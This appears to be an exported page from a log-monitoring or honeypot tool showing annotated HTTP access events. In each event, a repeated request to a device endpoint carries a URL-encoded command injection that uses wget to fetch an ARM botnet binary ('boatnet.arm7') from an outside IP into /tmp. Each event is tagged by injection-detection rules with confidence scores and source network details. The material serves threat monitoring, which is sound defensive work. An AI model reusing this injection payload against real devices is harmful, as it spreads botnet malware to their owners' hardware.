/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

event observed

details

—

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#36 2025-09-29 03:55:34 event 16435917 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

event observed

details

—

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#37 2025-09-29 03:55:34 event 16435919 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#38 2025-09-29 03:55:34 event 16435919 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#39 2025-09-29 03:55:34 event 16435919 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#40 2025-09-29 03:55:34 event 16435917 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#41 2025-09-29 03:55:34 event 16435917 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#42 2025-09-29 03:55:34 event 16435917 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#43 2025-09-28 22:17:20 event 19587605 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

event observed

details

—

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#44 2025-09-28 22:17:20 event 19587605 POST 301 bytes 178

ann ua 8 label ua

Request Truncated Mozilla User-Agent token

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

rule

ua:truncated_mozilla

conf

70.00

details

Common placeholder UA used by simplistic clients.

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Truncated Mozilla User-Agent token

details

Common placeholder UA used by simplistic clients.

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#45 2025-09-28 22:17:20 event 19587605 POST 301 bytes 178

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatn'

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#46 2025-09-28 22:17:20 event 19587605 POST 301 bytes 178

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#47 2025-09-28 22:17:20 event 19587605 POST 301 bytes 178

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#48 2025-09-28 22:17:20 event 19587605 POST 301 bytes 178

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#49 2025-09-28 14:33:46 event 19508036 POST 301 bytes 178

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

event observed

details

—

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

#50 2025-09-28 14:33:46 event 19508036 POST 301 bytes 178

ann ua 8 label ua

Request Truncated Mozilla User-Agent token

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F103.77.241.50%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2…

referer

Mozilla/5.0

Annotation facts

label

rule

ua:truncated_mozilla

conf

70.00

details

Common placeholder UA used by simplistic clients.

More (full fields + snapshot) expand

url

referer

Mozilla/5.0

summary

Truncated Mozilla User-Agent token

details

Common placeholder UA used by simplistic clients.

subnet

144.172.97.0/24

asn

14956 — RouterHosting LLC

geo

United States, Utah, Ogden

org

FranTech Solutions

Log Explorer

Annotated access events

Confirm Action